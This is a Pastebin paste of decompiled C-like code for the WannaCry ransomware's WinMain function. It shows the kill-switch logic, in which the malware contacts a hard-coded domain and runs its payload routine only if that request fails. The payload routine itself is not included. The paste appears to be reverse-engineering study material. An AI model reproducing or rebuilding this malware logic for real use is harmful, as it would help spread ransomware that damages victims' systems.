Advertisement
GlobalHell2K17

WannaCry WinMain Decompiled

May 18th, 2019
257
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.16 KB | None | 0 0
  1. int WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,PWSTR pCmdLine,int nCmdShow)
  2.  
  3. {
  4.   undefined4 uVar1;
  5.   int iVar2;
  6.   undefined4 *puVar3;
  7.   undefined4 *puVar4;
  8.   undefined4 uStack100;
  9.   undefined4 uStack96;
  10.   undefined4 uStack92;
  11.   undefined4 local_50 [14];
  12.   undefined4 local_17;
  13.   undefined4 local_13;
  14.   undefined4 local_f;
  15.   undefined4 local_b;
  16.   undefined4 local_7;
  17.   undefined2 local_3;
  18.   undefined local_1;
  19.  
  20.   iVar2 = 0xe;
  21.   puVar3 = (undefined4 *)s_http://www.iuqerfsodp9ifjaposdfj_004313d0;
  22.   puVar4 = local_50;
  23.   while (iVar2 != 0) {
  24.     iVar2 = iVar2 + -1;
  25.     *puVar4 = *puVar3;
  26.     puVar3 = puVar3 + 1;
  27.     puVar4 = puVar4 + 1;
  28.   }
  29.   *(undefined *)puVar4 = *(undefined *)puVar3;
  30.   local_17 = 0;
  31.   local_13 = 0;
  32.   local_f = 0;
  33.   local_b = 0;
  34.   local_7 = 0;
  35.   local_3 = 0;
  36.   uStack92 = 0;
  37.   uStack96 = 0;
  38.   uStack100 = 0;
  39.   local_1 = 0;
  40.   uVar1 = InternetOpenA(0,1);
  41.   iVar2 = InternetOpenUrlA(uVar1,&uStack100,0,0,0x84000000,0);
  42.   if (iVar2 == 0) {
  43.     InternetCloseHandle(uVar1);
  44.     InternetCloseHandle(0);
  45.     FUN_00408090();
  46.     return 0;
  47.   }
  48.   InternetCloseHandle(uVar1);
  49.   InternetCloseHandle(iVar2);
  50.   return 0;
  51. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement